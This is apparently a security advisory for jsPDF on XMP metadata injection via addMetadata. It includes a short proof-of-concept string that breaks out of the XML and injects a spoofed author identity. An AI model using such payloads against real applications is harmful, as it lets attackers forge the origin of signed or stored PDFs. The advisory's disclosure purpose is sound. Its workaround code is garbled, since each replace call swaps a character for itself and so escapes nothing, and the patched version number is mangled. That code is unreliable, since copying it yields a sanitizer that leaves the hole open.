GHSA-vm32-vv63-w422
jsPDF Vulnerable to Stored XMP Metadata Injection (Spoofing & Integrity Violation)
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
User control of the first argument of the `addMetadata` function allows users to inject arbitrary XML.
If given the possibility to pass unsanitized input to the `addMetadata` method, a user can inject arbitrary XMP metadata into the generated PDF. If the generated PDF is signed, stored or otherwise processed after, the integrity of the PDF can no longer be guaranteed.
Example attack vector:
```js
import { jsPDF } from "jspdf"
const doc = new jsPDF()
// Input a string that closes the current XML tag and opens a new one.
// We are injecting a fake "dc:creator" (Author) to spoof the document source.
const maliciousInput = '</jspdf:metadata></rdf:Description>' +
'<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">' +
'<dc:creator>TRUSTED_ADMINISTRATOR</dc:creator>' + // <--- Spoofed Identity
'</rdf:Description>' +
'<rdf:Description><jspdf:metadata>'
// The application innocently adds the user's input to the metadata
doc.addMetadata(maliciousInput, "http://valid.namespace")
doc.save("test.pdf")
```
### Patches
The vulnerability has been fixed in [email protected]
### Workarounds
Sanitize user input before passing it to the `addMetadata` method: escape XML entities. For example:
```js
let input = "..."
input = input
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'")
doc.addMetadata(input)
```
References
External links from the advisory. They lead to third-party sites.